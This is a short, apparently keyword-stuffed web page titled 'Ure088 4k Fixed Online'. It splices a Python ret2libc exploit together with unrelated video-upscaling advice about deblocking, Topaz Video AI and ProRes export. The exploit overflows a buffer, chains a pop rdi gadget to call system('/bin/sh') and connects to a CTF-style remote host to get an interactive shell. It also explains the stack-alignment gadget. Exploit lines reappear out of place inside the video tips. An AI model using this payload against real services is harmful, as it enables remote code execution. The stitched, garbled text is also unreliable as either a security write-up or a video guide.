Ure088 4k Fixed Online

pop_rdi = 0x4006a3            # pop rdi ; ret   (found earlier)
ret_gadget = 0x4006a9         # ret (align stack for system)
payload = b'A'*256
payload += p64(pop_rdi)      # control RDI = /bin/sh
payload += p64(binsh_addr)
payload += p64(ret_gadget)   # optional – keeps stack 16‑byte aligned
payload += p64(system_addr)  # call system("/bin/sh")
payload += p64(0)            # return address after system (unused)
p = remote('challenge.urctf.xyz', 31337)   # example remote endpoint
p.sendlineafter(b'Please enter your name:', payload)
p.interactive()   # should drop us into a shell

Why the extra ret gadget?
On x86‑64, the System V ABI requires the stack to be 16‑byte aligned before a call. After the pop rdi the stack is mis‑aligned by 8 bytes, so we insert a harmless ret to re‑align it; otherwise system may segfault on some libc versions.

Cause: Debocking was too weak before upscaling.
Solution: Return to Step 1 and apply FP16 precision deblocking. For stubborn blocks, use DeblockPP7(quant=30). ure088 4k fixed

Open your preprocessed clip (now in 16-bit linear space if possible) in Topaz Video AI: pop_rdi = 0x4006a3 # pop rdi ; ret

Export as ProRes 422 HQ or FFV1 (lossless) to avoid re-compression damage. Why the extra ret gadget